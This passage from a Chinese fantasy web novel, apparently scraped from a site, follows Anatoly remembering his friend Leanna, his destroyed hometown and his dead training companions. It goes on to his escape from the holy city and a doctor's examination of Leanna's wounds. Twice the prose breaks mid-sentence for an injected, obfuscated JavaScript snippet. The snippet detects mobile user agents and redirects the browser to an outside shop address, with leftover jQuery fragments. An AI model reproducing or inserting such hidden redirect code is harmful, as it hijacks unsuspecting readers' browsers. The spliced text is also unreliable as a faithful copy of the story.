但他该怎么办呢?要怎么才能活下去?自己又能到哪里去? 他随后有了另一个主意,一个现在看来有些自暴自弃的决定。 “如果实在没办法,到时候就直接逃掉去黑市做无证雇佣兵好了。” 维斯特利亚教皇建立起了相当完善的身份认证系统,任何一份工作,哪怕是烤面包的学徒,也需要身份认证。他需要找到一个不需要身份也能容纳他的地方。 没有被官方认可的雇佣兵组织是不需要身份证明的,到时候自己只要能够从圣都逃掉,就能拿着一个代号稀里糊涂地过完这一生。 为了生存和金钱,随意去终结任何人的生命,不分黑白,不问良心。 如果有得选,谁愿意出卖自己的灵魂。 “女神在上,我知道我本不该为了自己的生命随意剥夺他人的生命,我知道这是有罪的……但我也是自私的,我也想要活下去,如果真的到了南北冲突爆发那天,我又能躲到哪里去呢?我别无选择。” 他曾在神殿祷告过,但神明并没有告诉他何去何从,这个选择像种子一样种下了。 那是一条罪恶的路,但是是他当时目之所及的唯一生路。 他将这条退路埋在心里,却在一个黄昏,鬼使神差地告诉了莱安娜。 那时候他俩刚刚通过高阶魔法的考核,为了庆祝,爬到了阿德萨斯塔的塔顶吃晚餐。 他们各自带了一些简单的食物,阿纳托利都快忘记他那天晚上吃了什么。只记得当时莱安娜坐在塔顶,顶着落日,她的头发丝仿佛在发光。 阿纳托利问出了自己一直好奇的问题。 “莱安娜你有这么好的魔法天赋,未来想做什么呢?” “成为驻地神官,成为很厉害的魔法师。” 她没有一丝的迟疑。 “这是艾夫忒宁家的需要吗?” “不是,这是我自己的想法,兄长应该更希望我能够留在圣都吧,不过我相信他会支持我的决定的。” 她托着下巴,看向远方,但从这里看不到艾夫忒宁宅邸的屋顶。 “你为什么会想成为驻地神官呢?驻地神官的工作又琐碎又麻烦,以你的天赋哪怕是成为主教都绰绰有余,成为驻地神官有些浪费了吧。” 阿纳托利有些意外,他从没有想过一向追求完美、争强好胜的莱安娜,梦想竟然只是一位普通的驻地神官。 “但那就是我想做的事。” 她有些不满地瞪了阿纳托利一眼,但似乎理解他会有这样想法的原因,打消了责怪他的想法,继续补充道。 “阿纳托利,我曾告诉过你我的过去,我来自一个边远的村落,是被镇上一个热心的神官发现了我的天赋,因而辗转来到了圣都。” “你给我提过,她叫切希尔,是位令人敬佩的神官,对待辖区中的每一件小事都非常认真,在她的辖区生活一定非常安心吧。” “对啊,切希尔姐姐就是我的榜样。” 她一边憧憬地说着,一边站了起来。 “主教在圣都固然是荣耀加身,但和人们天天相处、在危险降临能够第一时间保护他们的通常是驻地神官啊。” 她看向阿纳托利。 “你知道的,我最讨厌和那些难缠的贵族们打交道了,成为主教应该需要和那些人纠缠一辈子吧,那简直生不如死。”她笑着摇了摇头。 “我想和切希尔姐姐一样,回到我的故乡,或者其他什么地方,去做一些看得见摸得着的事情。我会成为很厉害的魔法师,不用看这群讨厌贵族的脸色,也没有人可以管束我;我会保护好魔兽潮中的村落城市,和卡丽安娜老师一起建立完美的防御。” 她的眼里充满希望,仿佛梦想触手可及,阿纳托利一时恍神。 为什么他和莱安娜明明都是平民出生,都是贵族们的棋子,看似都是没什么选择的境遇,但她却总是一副不用妥协的样子呢? 他心情很复杂,但强装镇定继续说道。 “那你学魔法也不用这么拼命了,只要是中阶法师就已经有参加神官考核的资格了。” 阿纳托利开起了玩笑。 “那怎么行?我可是和我那位神官姐姐约好了,如果成不了厉害的魔法师,她是不会让我进神殿的大门的。”她有些苦恼地叹了口气。“但没关系,我现在已经是高阶法师了,未来成为教廷排得上号的法师也说不定呢。” 她用手挡着有些晃眼的光,抿起嘴角。眺望远处的钟楼,七点整,钟声悠扬,惊起停留在上面的一群白鸽。 阿纳托利只是看着她,没有再说话。 “那你呢?阿纳托利?” 她转过身来。 “你未来有什么打算吗?回到北方?还是留在圣都?或者去别的什么地方?” 高塔的风很大,把她的卷发吹得打结,她一边漫不经心地问,一边低下头去整理。 对方没有处心积虑地套话,只是闲聊般随口一问。 但阿纳托利却将藏在心里的答案脱口而出。 “我没什么选择,或许最后只能当一个雇佣兵蹉跎一生吧。” 莱安娜听了他的话,一下子抬起了头,眼睛倒映着夕阳的余晖,叠翠鎏金。 视线交织的时候阿纳托利屏住了呼吸,他从莱安娜的眼中找到了自己。 “你知道成为雇佣兵意味着什么吧,你为什么要这么说?” 莱安娜攥紧了拳头,不满地昂起头。 “我就是没得选啊!谁像你这么幸运!遇到了可以支持你的兄长,我只是我妹妹的替死鬼!你明白吗?没人在乎我的死活!我就是夹在大局中随时会被牺牲掉的砝码!” 阿纳托利说完自己都被吓一跳,他开始后悔了,自己的艰难处境又不是莱安娜造成的,自己冲她撒什么气。 “莱安娜,对不起,我……” “阿纳托利,你难道不了解我吗?或许我现在很幸运,但哪怕我哥哥并不支持我,我也绝对不会妥协。” 她看向阿纳托利,目光如炬。 “而且我在乎,我在乎你的想法,我在乎你的未来!” 她走了过来,阿纳托利只是怔怔地看着她。 “我们一直都有选择,但前提是我们要想清楚自己真正想要的是什么。” 她蹲在阿纳托利的面前。 “但是你刚才的话,让我觉得你除了活下去以外没有别的目标,人如果除了活着没有其他想法的话,心脏会烂掉的,你会慢慢变成一个空心的人。” 她用手指戳了戳阿纳托利的心口。 “还有时间,好好想想你真正想要的东西,抛开那些该死的任务,抛开对你施压的家族,听你自己内心的声音。” 说罢,她的手指晃悠到了阿纳托利的眼前。 没有预想中的敲打,她只是轻轻地弹了下阿纳托利的眉心。 “用你那聪明的脑袋瓜子好好想想吧,那群老不死编写的咒语你都解读得明白,没道理连自己的问题都想不出来吧,那我会狠狠嘲笑你的。” 她说罢站了起来,阿纳托利拉住了对方。 “但我现在真的不知道,我真的没有……” 莱安娜听了他的话,皱起眉,甩开了他的手,顺势朝他脑袋猛的一拍,阿纳托利有些委屈地捂住了自己的脑门。 “别再说你没有选择的屁话!想好自己要做什么,就竭尽全力去完成,家族不同意就和他们周旋、谈判、死缠烂打!以命相博!凭什么他们说你是棋子你就要按他们的规矩来?” “但是前路和后路都走不通……” “那就去把他们该死的棋盘砸烂!凭什么按照他们的来!你怎么这么窝囊?” 莱安娜的话盘旋在阿纳托利的耳边。 阿纳托利不再反驳,许多回忆涌上心头,从自己在北部魔兽潮幸存的那一刻开始,从被带到弗洛斯特和其他孩子一起集训开始,这二十多年的人生中到底什么是他想要为之奉献一生的呢? 见他出神的样子,莱安娜蹲下去摇了摇他。 “喂喂……发什么呆阿纳托利,虽然不知道你在盘算什么,但是如果哪天你真的去当了雇佣兵,昧着良心干了草菅人命的勾当,我一定会亲手杀了你的。知道了吗?” 而这一次阿纳托利终于笑着回应了那她的关切。 “我知道了莱安娜,我答应你,我会再好好想想的。” 莱安娜似乎松了口气,带着笑意起身。 “好了,那你慢慢想吧,我得回去了,出来太久我兄长很难应付。” 在晚霞消逝,夜色渐浓的时候,她和自己告别,然后迈着轻盈的步伐走进了黑暗中。 过了一会儿又翻上了屋顶来,脸上既是怀疑又是警告。 “你已经答应过我了阿纳托利!不许反悔!” “我向您保证,未来的神官大人。” 他语气温和,带着难得的笑意。 “你最好坚守承诺,如果哪天你真的堕落成那种行尸走肉了……我会帮你解脱的。” “我答应你了,我不会的。” “那我勉强相信你吧,优等生先生。明天见!” “明天见。”阿纳托利还没说完,对方已经翻下了塔顶消失得无影无踪了。 他看着浓重的夜色,嘴角不自觉地勾起。 自己的心口不知道被什么东西填满,有一种沉甸甸的感觉。 他用手捂住自己的心脏。 “你是第一个关心我真实想法的人……” “你是这个世界上唯一还活着的,怕我走上歧路的人。” 他喃喃自语。 莱安娜走后他独自在塔顶坐了一整夜,他回想起了很多事。 那些在他提心吊胆地朝着活下去这个目标狂奔后遗忘的事情。 他想起了自己被魔兽潮摧毁的故乡,那个叫融雪镇的地方。这个名字就像是当地人一个美好的愿望,因为那里常年覆盖着积雪,其实根本没有完全消融的时候。 自阿纳托利有记忆起,家乡就是一片白雪皑皑的样子,这个位于寒纪线以北的边陲小镇永远是那样寒冷肃穆,但却住着一群热情似火的人们。 格里高利叔叔总是喜欢把他举在头顶,还悄悄带他去看马戏团或者木偶戏班子的巡回演出。 娜塔莎奶奶会用一堆长得磕碜的野菜和土豆熬出一锅鲜美的浓汤,分给邻里。 母亲索菲亚是位能干可靠的女性,记忆中的母亲身材高大、双臂有力,像一座山一般,仿佛没有她做不到的事情,无论是种地还是织布都让人赞不绝口。 父亲瓦连京是一位手很巧的铁匠,在阿纳托利的记忆里他和母亲的性格截然相反,母亲更加沉默严肃,而父亲往往更加幽默爱笑,他会给阿纳托利用边角料制作一些小玩意儿,而靠着这些玩具阿纳托利总能在同龄人中收获艳羡的目光。 虽然那个小镇真的很破很旧,虽然他们的日子只能维持温饱,但阿纳托利觉得那时候的日子才算的上生活,因为那时他是被人看见、被人在乎、有自己感受和想法的人,而不是被随意使唤的工具。 ‘阿纳托利’这个名字,既是父母送给他第一份礼物,也是留给他唯一的遗物。 “阿纳托利,意思是拂晓、黎明。你是在极夜里出生的孩子,漫长的寒纪和夜晚让人看不到希望,但我们希望你能够走过黑暗,迎接拂晓,看见太阳。” 母亲索菲亚摸着他的头如是说道,她那张常年严肃的脸难得浮现一抹如此温和的笑容,像雪融化了一般。 “哎呀,你这么说肉麻的话我还有点不习惯呢。” 父亲瓦连京开起了玩笑,将阿纳托利高高抱起,让他骑在了自己的脖子上,在母亲面前连转了几个圈。 “我们的阿纳托利一定会健康、平安地长大,成为勇敢正直的人,只要阿纳托利愿意,我会把我的手艺全部传授给你,你可以成为超级厉害的铁匠喔。” “还有织布、种田和厨艺,他都得学。” 母亲索菲亚的眼中燃烧起熊熊斗志,仿佛要把阿纳托利培养成一个全才。 “嗨呀,也不一定,我听说隔壁镇上开了个学堂,万一咱们阿纳托利聪明呢?如果再过几年你去他们那里入学考试考过了,我们就送你去上学。” “上学和当铁匠做农活有什么区别呢?” 他揪住了父亲的耳朵,将脸蛋贴在父亲的头顶。 “唔······这个要怎么和你解释呢?”父亲瓦连京有些苦恼。 “这么说吧,如果去了学校阿纳托利就可以有更多选择了,你可以不仅可以成为农民、铁匠、还可以像伊万哥哥一样当个医生,或者老师?反正你可以做很多新鲜的事。” “那要是我还想做一个铁匠呢?那过程不就浪费了吗?”小小的阿纳托利有些不理解父母的苦心。 “哈哈,如果你还想当一个铁匠,那就当,但是过程并没有浪费,我和你的母亲都希望你的这辈子能够有更多可能性,不过没有也行,只要你平安、健康、快乐就好了。” ······ 要是没有意外,没有那场魔兽潮,自己说不定真的就像父亲说的那样呢? 顺利地长大,无论是去学堂上学、还是成为父亲的学徒,亦或者帮母亲做农活和织布。他能够和自己的家人们一起维持着不算富足但是足够幸福的生活。 但他没有这样的机会,魔兽潮的爆发仿佛就在一瞬间,天灾之下似乎没有人能够幸免。 他们小镇在那场灾难中无人生还,除了阴差阳错觉醒了魔力的自己。 然后姗姗来迟的治安官和骑士们发现了他的天赋,将他带到了弗洛斯特家。 他和其他同样有着稀有魔法天赋的孩子一起接受训练和系统的培训,那时候他们并不知道训练的目的是为了成为帮别人赴死的替身。 他的剑术是索尼娅姐姐教的,虽说女性在力量和爆发力上没有先天优势,但索尼娅靠着后天研究的剑术和技巧,成为了他们中近身格斗能力最强的人。 他的战斗指挥是冬妮娅教的,那个明明比自己还小的女孩儿简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046861|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个天才,鬼点子一套接着一套,和她当对手或者会被磨掉层皮吧。 至于射箭,他真的不擅长,但瓦西里大哥很耐心,逼着他天天练。 骑术最厉害的是扎苗托夫,阿纳托利记得每次上完课,这位冷脸的大哥都要再数落他一番。 拉祖米欣的政务论述是最好的,阿纳托利还有其他人每次教作业前都会去找他,他会阴阳怪气地嘲讽大家一番,再不紧不慢地说比较完整的答案。 ······ 他像是有了新的家人,直到十三岁考核结束。 他因为综合能力最强,被选为了弗洛斯特的养子。 “哦哟,我们听说了,阿纳托利以后就是公爵家的人了,你不会以后不认我们这些老朋友了吧。” 冬妮娅一脸坏笑。 “怎么?你嫉妒我了?”阿纳托利开起了玩笑。 “哼,你别得瑟,你也就比我强了一点点。” 冬妮娅一手插着腰,一边冲他不屑地摇了摇手指。 “好了,今天是阿纳托利和我们的大日子,你俩别拌嘴了。” 瓦西里走了过来拍了拍他们的肩膀。 “这场考核是针对我们所有人的,谁最后被选中都是一样的,我们没有任何区别。” 他拍了拍阿纳托利的肩膀。 “你是我们的代表,阿纳托利,你明天就要代表我们走出这所庄园,成为弗洛斯特对外的继承人了······对我来说,谁走出去都一样。” 瓦西里的话有些奇怪,但沉浸在喜悦中的阿纳托利并未细想,只是脱口而出了自己的关心。 “那大哥你们其他人有什么安排呢?” 瓦西里微微一顿,冬妮娅抢着答话了。 “你以为我们要去哪?虽然我们没有被选上,但也是很厉害的人才,公爵要把我们编入北地骑士团的前卫呢。” 她满脸自豪。 “那确实是好事儿,你们可是要成为英雄了,不过我怎么没看到索尼娅姐姐还有其他人。” “他们近身格斗能力更强,前锋似乎还差个政务官,所以索尼娅姐姐和拉祖米欣他们在昨天结果刚出的时候就被调走了。” 冬妮娅有些遗憾地摇了摇头。 “我们俩运气好,赶上车坐不下了,被安排明天走,这才来和你道个别,你这臭小子倒是更感激一些啊。” 冬妮娅不满地踢了他一脚,阿纳托利灵活地躲开。 “明明我比你大!冬妮娅!别叫我臭小子,而且我现在可是弗洛斯特大人了。” 他装腔作势地说,果然冬妮娅的拳头迎面而来。 “还让你装上了……” 二人你来我往开始揍对方。 一向喜欢出面缓和局面的瓦西里今天意外地没有站出来阻碍两人,静静地站在一旁看他们缠斗。 最终,冬妮娅一个拳头软绵绵地砸到了阿纳托利身上,没有用一点力。 “怎么了?”阿纳托利她突然高抬贵手的停战信号倍感意外。 冬妮娅低着头,阿纳托利弯腰去查看她的神色。 她哭了。 “这是干什么?你别哭啊,冬妮娅,我们还能再见的,骑士团会放假的。” 阿纳托利有些手足无措。 “我知道,我只是觉得……很难过,好像大家就要分开了一样。” 她抽噎着,阿纳托利笑着叹了口气,摸了摸她的头,就像是冬妮娅真正的兄长一样。 “我们还会再见面的……所以不要这么难过” 他轻声安慰道,瓦西里走了过来,他们三个人抱在了一起。 阿纳托利送他俩上了马车,冬妮娅先进去。 临别前,还没有上车的瓦连京拍了拍他的肩膀。 “阿纳托利,你会看到更精彩的风景的,代我们其他所有人看看那些遥不可及的景色,走出这个囚笼。” “我不会忘记大家教给我的东西,我会继续努力的。至于囚笼和风景,我们大家都已经结束集训了,大家一起去看看好了。” 瓦西里一愣,但还是握住了他的手。 “保重。” “保重。” 他们离开了。阿纳托利从那天起就成为了阿纳托利·弗洛斯特。 他带着所有人的期待,学习了每个人的长处,向未来走去,他从未怀疑过他们在未来相逢的喜悦。 但他们不会在未来重逢了。 不久后他就收到了亲人们驻扎防线失守的报告。 “我们沉痛悼念指挥官冬妮娅、政务官拉祖米欣、骑士长瓦西里、骑士索菲亚、骑士扎苗托夫……以上六十七位骑士在对战魔兽的战役中英勇牺牲,虽然无尽防线仍然因为毁损严重关闭,但英雄们的付出为我们的撤离争取了时间,泰坦防线正式启用,英雄的名字将被永远镌刻和铭记,活着的人们将在他们的光辉下继续向前。” ……… 阿纳托利在夜晚的风中闭着眼回忆着。 那些在成为弗洛斯特的工具后,被生存压得快要喘不过气时,他快要忘记的那些记忆。 “我竟然疲于奔命,连这么重要的人,那么重要的事都快抛诸脑后了。” 风中夹杂着他沉重的叹息,仿佛是对自己过去审视的总结。 父母他们还有融雪镇的乡亲们,要是知道自己这个唯一从灾难里活下来的人想要当雇佣兵,去干那些昧良心的勾当,会不会很失望? 自己要是真的走了那条路,索尼娅姐姐和瓦西里要是知道教给自己的本领被用来不分青红皂白地杀人,一定会难过的。 扎苗托夫一定会冷着脸打断他的腿。 冬妮娅和拉祖米欣一定会一脸嫌弃地看着他,嘲笑他是一个胆小鬼、懦夫、人渣! 现在还有莱安娜……莱安娜会杀了他。 他睁开了眼睛。 人是为自己而活的,又不完全是为自己而活的,一旦世界上多了几个人在意你的命运,连自暴自弃都要犹豫了。 他在父母的爱里成长,被祝福成为正直勇敢的人,他本该看到破晓后的阳光,他不能投身黑暗自甘堕落。 还有同伴们的期待,他是在替其他所有的备选人活下去,他不能走那条自私自利的路,用自己伙伴们教给他的本领去干害人的事。 他们在另一个世界,要是知道自己有这种想法,一定会很失望。 对了,在这个世上现在还有莱安娜关心他的选择,自己已经答应了她,可不能再走那条路。不然未来岂不是真的要脏了她的手,人家可是已经放出狠话了。 心中那条滑向幽暗的路就这样悄无声息地被堵住了,但阿纳托利仍然很迷茫,他真正想要做的事情究竟是什么呢? 他苦恼地抱着头,思考了很久。 再一次见到莱安娜的时候,他终于想明白了自己要做什么。 “你想好啦?” 莱安娜笑盈盈地看着他。 “嗯,想好了,我要回北方。” “啊……这样啊。” 她点了点头,但语气有一些不易察觉的失落,那时候的阿纳托利未能发现。 “那你回去要做什么呢?” 她托着下巴侧脸看着对方。 “我要把我余下的生命用在平息魔兽潮上。” 说出口的那一刻,阿纳托利心中的石头终于落了下来。他的心从未有像此刻那般宁静。 42. 离别 目标清晰了,之后的事情水到渠成。 阿纳托利努力地为回到北方做准备,现在这位老公爵他没法磋商,但是少公爵呢? 自己这位名义上的妹妹,伊莉雅少公爵难道在未来不会面临魔兽潮的处理难题吗? 他提议对方继任之后,让自己前往魔兽潮前线,自己将成为她的利刃,帮助她平定魔兽潮。而这位野心勃勃的少公爵发现他真的无意继承权后,答应了他的提议,还许诺了其他的恩赏。 阿纳托利也在从那时候起,不再像一只浑身戒备的刺猬,他仍然谨慎,但是在和莱安娜一起行动的过程中,他逐渐打开心扉,去信任别人。 他自己也察觉到了,自己越来越像莱安娜了。 在遇到莱安娜之后,他还遇到了萝丝、杰西卡、露比,回到北方后又遇到了列昂尼德、斯捷潘、老团长、娜塔莉娅…… “莱安娜,你是我开启新生活的引路人,也是我遇到的第一个朋友……” 他每次都想当面把这句话告诉莱安娜,让她知道她对自己的分量,说不定就能变相地让她知道,自己心中那微不可查的情感了吧。 但自己果然很懦弱,话每次到了嘴边都说不出口。 “要不明天吧,反正明天还会见面的。” 他总是这样安慰自己。 在那段平静的时光中,他和海姆一起经营的‘夜荆棘’也初具了雏形。 夜荆棘的成员们最开始并不是什么训练有素的士兵、间谍。他们只是和阿纳托利一样求生的人。 他们中有在圣都城门口帮骑士们擦靴子的人、有奔忙于城镇修补强面的泥瓦匠、还有天蒙蒙亮的时候就要出门的菜农…… 生活对他们来说很艰难,哪怕他们没有什么人质的身份、没有什么沉重的使命,就生活本身而言也足够沉重。 ‘夜荆棘’发展得很快,在南方有了一定规模后,阿纳托利甚至安排了几条线在北方。 他原本计划着,好好收集信息,规避风险。在毕业后让伊莉雅和教会谈判,提出新的条件,比如共享之后魔兽潮的数据和情报,南方不可能一点也不需要。这样自己说不定就能回到北方,投身魔兽潮的治理工作。 还要参加毕业典礼,将自己早已准备好的礼物送给莱安娜,一定一定要让她知道自己的心意! 但计划总是赶不上变化。 在临近毕业的半个月,他收到了北方夜荆棘传来的急报。 ——公爵决定执行大后撤计划。 一切美好的假设都在一瞬间烟消云散。 在拿到消息的那一刻,他就抬头盯着海姆。 “距离南方联合会议知道此事还有多久。” “我们尽力了,或许还有半天他们就会收到消息。” 阿纳托利面无表情地看着眼前的皱巴巴的信纸,海姆无法看出自己这位朋友的心情。 自己的养父竟然决定答应教会的要求,执行教会提议的大后撤计划。泰坦防线失守后,北地骑士团不再驻守永固城,沿防线全面后撤,将半个北原置于魔物的利爪之下。精心打造的泰西防线和它身后的城镇将会变成一团无人支援的孤岛。 同时听闻公爵还打算将伊莉雅少公爵的继承人身份剥夺,嫁到南方作为弥合关系的象征。还答应了教会管控魔法师、安装监察装置的所有要求。 大后撤计划一来会让北地生灵涂炭,二来北地会彻底失去与现在教廷掰手腕的资格,而伊莉雅嫁到南方王廷,答应教会的所有要求,意味着北部对南方的全面妥协。 而对于尚在南方的阿纳托利而言,作为平衡双方砝码的人质,他的使命也走到了尽头。 “阿纳托利,我不明白了,弗洛斯特家族这样做的目的是什么呢?这不是彻底失去了脱离教廷的机会吗?他们为此谋划了多年。” “海姆,你觉得北方那群人上人为什么一直要谋划脱离南方教廷呢?” 对方打断了他的问题,眼神不再如之前那般冷漠,而是愤怒,海姆很难看到自己这位学弟如此直接地表露愤怒的情绪。 “为了更大的权力?更多财富?” “可以这么说,他们的所作所为一直是为了更稳固的统治,南方教廷虽然不是什么好东西,但一定程度上限制了他们的胡做非为,所以才会有如此狗咬狗的局面。” 阿纳托利说这话时眼里满是厌恶。 “这次决定后撤也出于相同的目的,北方的收成这两年很不好。你应该很清楚,今年还没有到冬天已经闹了两次小规模饥荒了。” “雪松城和白石城…” “对,面临同样问题的城市不只这两座。如果魔物入侵,调军反击,会消耗多少粮食?如果实行边境管理,又会需要多少粮食?” “你是说对抗魔物会加剧当前北部的粮食危机?但魔物南下,事关南方安全,南方按照常理是会愿意供给粮食的。” “南方确实愿意供给,如果是在过去的三年我不会怀疑它的能力,但如今的南方真的有这个能力吗?” 他敲了敲桌面地图上的南方板块。 “根据情报,格林农场,当前南方最大的粮食作物种植地区,只有三分之一的土地还在种植粮食作物,剩下全阳奉阴违地换成了经济作物和一种名叫蓝鸢尾的药材,他们的粮食储量早就不足了,如果要给北方供给粮食,南方也会陷入饥荒,一旦入冬,你就看教会和王廷被饿疯的百姓踏平吧。” “南方给不出粮食,北方没有粮食,所以解决粮食不足问题最好的办法就是……” “是减少人。” 阿纳托利攥紧了拳头,咬牙切齿: “他们打算让魔兽把那些灾民吃个干净,魔兽也不躁动了,吃饭的嘴也没有了。” “就为了这种原因,他们就可以一退再退?只是为了掩盖他们一己私欲堆出来的粮食问题?” “对啊,对于他们而言,北地百姓死不死和他们这些人上人毫无关系,只要撤军,魔物会帮他们把吃粮食的人减少,他们的手干净着呢,既没有粮食危机,也不会影响他们在防线后的歌舞升平,对于弗洛斯特家族而言,不过是两害相权取其轻,在教廷的影响下统治北方,脱离教廷的控制但自己会被推翻,他们可太清楚选什么了。” 海姆陷入了沉默,良久后才开口,声音因为愤怒显得有些沙哑。 “凭什么啊?他们把人命当成什么?他们把我的故乡当成什么啊?” 阿纳托利看着怒目圆睁的海姆,叹了口气。 “海姆,你真的愿意你的故乡变成魔物爪下的焦土吗?我记得你们族人还有不少没有离开……” 他说着绕到了海姆身后,拍了拍了他的肩膀。 “我们都是一类人,都是被这些人上人肆意摆弄人生命运的棋子,在他们眼里,我们不过是可以随意牺牲的耗材罢了,我们应当承受这些本来是由他们创造的苦难,然后心平气和地死去,最多骂一骂自己的命不好。可是这和命运有什么关系?这难道不是他们一手制造的苦难吗?为什么要我们来承受?” “但我们能怎么办?现在北方撤离边境已经是板上钉钉的事。” 海姆心灰意冷地坐下。 “不,还没有结束,尚有回转的余地。” “需要我做什么?” “帮我离开南方……” 他灰色的眼睛透着的光是那样坚定。 阿纳托利在那一刻心脏狂跳,仿佛终于抓住了命运。 ………… 七月的圣都在太阳的炙烤下变得有了夏天的样子,炎热得让人很烦躁,直到傍晚的一场阵雨,才让热气有了一些收敛。 莱安娜已经准时在教会塔的第三层开始做日常的整理工作,这本来是祷告的时间,但神官候选人早已不用监视官陪同,封闭的祈祷时间自由了许多。 她很享受这段平静的时光,听着窗外的雨声,维曦女神雕像前柔和的烛光,她看书很快进入了状态。但很快这段平静的时光便被打断了。 “啪嗒。” 窗户的门开了,一个黑色的影子轻盈地闯了进来。 “谁?” 莱安娜立刻戒备,但她很快认出了这个不速之客正是阿纳托利。 印象中一向板正严肃的人,黑色便服正在滴水,银灰色的发丝被雨水打湿,有几缕杂乱地粘在了额头上,看上去狼狈而滑稽。 还没等她问这位不速之客的来意,阿纳托利迅速掏出了一个用手帕包裹着的小木匣子。 “恭喜你成为神官候选人,这是贺礼。” 虽然送礼人湿透了,但小木匣子没有粘一点水。 莱安娜惊喜地接过木匣子,仔细端详,小木匣子没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046862|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有过多的装饰,雕花非常简洁,但是锁孔却打造得分外精致。她眼睛里含着笑,嘴角抿起了一点微微的弧度,并不是很明显,但全被对方看在了眼里。 “谢谢你,其实不用这么晚赶来,典礼时也可以……” 一阵盔甲碰撞的声音打断了她的话语和惊喜。 是教廷的神使团。 “一级警戒!弗洛斯特的人质刚刚破坏了追踪装置叛逃了,所有人在城内立刻搜捕。” 阿纳托利的心沉了一半,原本是想在被发现离开前把礼物给莱安娜,现在莱安娜作为神官候补,和他无疑是站在对立面了。 “她会怎么做呢?” 他静静地看着刚才还眉眼带笑的友人,不知道下一秒会不会魔力全开把自己擒拿归案。 莱安娜听到楼下的动静,愣了一下,眉头微皱,眼里的笑意全然褪去,但面无表情的模样让人难以揣测。 只是一瞬,她蓦然抬眼,那是一种极其复杂的神情。阿纳托利很可惜那时候的自己还太年轻,没能看明白对方隐藏在其中的情绪。 对视一眼后,她叹了口气。 “你要走了是吗?” “嗯,我要回家了。” “是吗,真好,总会有这么一天的……” 她昂首朝他笑了笑。 阿纳托利端详着眼前的友人,身着神官候选人的白袍,眉目柔和,祖母绿的眼睛总让他联想到春天和森林。 她就这样站在神像前平静地朝他道别,宛如水边的茵挪蔷薇一般素净,让旅人不禁想带一朵放进口袋里,仿佛可以偷走一刻的春天。 但他很清楚,茵挪蔷薇在北方的冬天是活不长的。 “那就祝你一切顺利了……”友人继续说着简短的祝福,但他没有听了,自顾自的说了起来。 “你要不要和我一起离开?” 因为吃惊,那双祖母绿般的眼睛睁大了一些,眉头微皱,一副难以置信的模样。 “我这次回去,计划也不知道能不能成功。” 他一边说着一边扶额摇了摇头。 “我们可以一起去解决北方的魔兽潮,一起调查你一直关注的地脉异变。你也可以什么都不做,你还可以到了北方后想去哪去哪……总之,选择权在你,我不会勉强你做你不愿意的事情,我会尽我所能保障你的安全,作为你的……朋友。” 年少的人总是异常勇敢,哪怕前途未卜也敢妄言承诺。 莱安娜听着他磕磕绊绊地说。眼前这个人是她认识的人中最严谨周密的人,如履薄冰的境遇让他养成了谨慎的性格底色,不做一点无把握的事情,然而这样的一个家伙,现在竟然如此笨拙而真诚地说着邀请,描述着毫无定数的未来。 “什么都不管,就这样答应他,或许也不错。” 莱安娜嘴角弯起一个弧度,可惜阿纳托利此时心中正一团乱麻,根本没有注意到。 对方大脑一片空白,他不知道自己怎么就无缘无故地说出了这样的邀请,仿佛是下意识的行为,回过神来已经覆水难收了。 他就这样忐忑地等待着莱安娜的答复。 内心一团乱麻时,手上却传来一丝温暖,莱安娜干净温暖的手攀了过来,握住了他被雨打湿的冰冷双手。 “谢谢你的邀请,能被你当做朋友我真的很开心……” 她笑得是那样的发自内心,以至于让阿纳托利心中燃起了不应该有的希望。 “但是,你知道的,我有自己的路要走,我一定要成为神官。” 她的眼神是那样坚定,阿纳托利知道,多说无益了。 他叹了一口气,准备离开,但又下意识地自说自话起来。 “我……” 楼上神官候补那层还没有搜查,动作快点。 他的话戛然而止,莱安娜把他推向窗边。 “走吧,快走。” 他半个身子探出了窗户,不舍地回望,莱安娜逆着光站在神像前,宛若神明庇护下的宠儿。 “没什么好失望的,她本来就该在神坛上。” 他别过头去,消失在了夜色中。 莱安娜连忙装作无事发生的样子,她无法预测未来,不知道这一次分别的重量。 这次分别像一把剪刀,一刀下去后,物是人非,宣告着他们的明亮的岁月就此终结。 43. 诡异的伤情 回忆了八年前的时光,阿纳托利很清楚莱安娜的性格,她并不是轻易改变想法的人,说答应自己不过是缓兵之计。说不定还是要一意孤行回圣都。 如果那样的话,自己大概率只能和娜塔莉娅一起绑她回泰西防线。 但在这之前更让他担忧的是对方的身体健康,他再一次请求马克西姆去给莱安娜诊治。 马克西姆在完成了基础检查后,皱着眉头收起了工具。 莱安娜坐在他的对面,似乎察觉到了他的拘谨,她已经移开了目光。 阿纳托利拜托他这几天负责莱安娜的治疗工作,自己这个刚考完医师资格证的人就这样稀里糊涂成了主教的私人医生,真是压力山大啊…… 但还好这位主教似乎并不难相处,她极具亲和力,从见到自己开始始终带着温和的笑容。 但这并没有消减马克西姆的不安。 他此刻正在思考要不要将不太理想的结果如实告知这位病人,在他慢吞吞整理好工具后,他开口了。 “主教大人……” “叫我莱安娜就好,您不必如此客气。” 他似乎有些犹豫要不要进一步询问,神色有些为难。 “伤口恢复得很好,这倒是没有什么问题。” “辛苦了。” “但我注意到女士您肩部和胸口有很重的魔力疗愈痕迹,是当时没办法选择普通治疗吗?” “是的,我之前在圣都遭受过一次魔法攻击,情况紧急,接受了高强度的魔法疗愈。” 马克西姆皱起了眉。 